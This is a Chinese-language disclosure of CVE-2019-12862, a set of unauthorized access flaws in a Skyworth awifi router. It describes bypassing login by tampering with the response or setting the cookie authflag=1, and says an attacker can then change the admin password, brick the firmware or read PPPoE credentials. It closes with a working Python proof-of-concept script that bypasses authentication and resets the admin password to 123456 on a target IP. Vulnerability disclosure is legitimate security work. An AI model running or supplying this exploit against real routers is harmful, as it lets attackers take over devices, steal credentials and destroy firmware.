# CVE-2019-12862:天翼创维awifi路由器存在多处未授权访问漏洞
### ⼀、漏洞摘要
> 漏洞名称: 天翼创维awifi路由器存在多处未授权访问漏洞
上报日期: 2019-06-01
漏洞发现者: H4lo
产品首页: http://www.skyworth.com/
软件链接: http://www.skyworth.com/
版本: Boa/0.94.14rc21
CVE编号: CVE-2019-12862
### ⼆、漏洞概述
1.连接上wifi,进⼊路由器的登录界⾯:
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在未知⽤户名和密码的情况下,右键查看源代码,在clback函数中,只根据返回包的返回值来判断登录状态,这⾥就通过可以更改返回包的值来绕过登录认证。
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2.漏洞利⽤步骤
在登录处输⼊admin、admin抓包,接着拦截响应包。
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在响应包中更改0变成1,点击forward之后就可以登录成功。
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最终其实只要控制cookie中的authflag为1即可直接进⼊后台。
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进⼊后台之后可以进⾏管理员密码的越权修改,绕过验证原密码的⽅法也是修改返回包
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还可以进⾏⼀些固件升级的操作,越权上传恶意⽂件会直接使路由器固件报废。
或者可以越权读取/导⼊路由器配置信息,或者pppoe账号密码等等 。
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### 三、利⽤⽅法
构造如下poc.py
``` python
#coding: utf-8
#__author__: H4lo
import requests
import sys
payload = "authflag=1"
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75 Safari/537.36"
headers = {
"User-Agent": UA,
"Cookie": payload
}
def exp(ip):
info = """1. Login with no password\n2. Change administrator's password\n"""
print info
op = int(raw_input("Enter the options:"))
if op == 1:
url = "http://" + str(ip)+"/home.htm"
try:
res = requests.get(url,headers=headers,timeout=5)
if "title.htm" in res.text:
print "[+] The router is vulnerable"
else:
print "[-] The router is not vulnerable"
except Exception as e:
print str(e)
elif(op == 2):
url = "http://" + str(ip) + "/boafrm/formAwifiSwitchSetup"
data = {
"olduserpass":"1",
"newpass":"123456",
"confirmnewpass":"123456",
"submit-url":"/password.htm"
}
try:
res = requests.post(url=url,headers=headers,data=data,timeout=5)
if "restartNow" in res.text:
print "[+] Password had be changed to 123456"
else:
print "[-] Some error!"
except Exception as e:
print str(e)
else:
print "error options!"
if __name__ == '__main__':
ip = sys.argv[1]
exp(ip)
```
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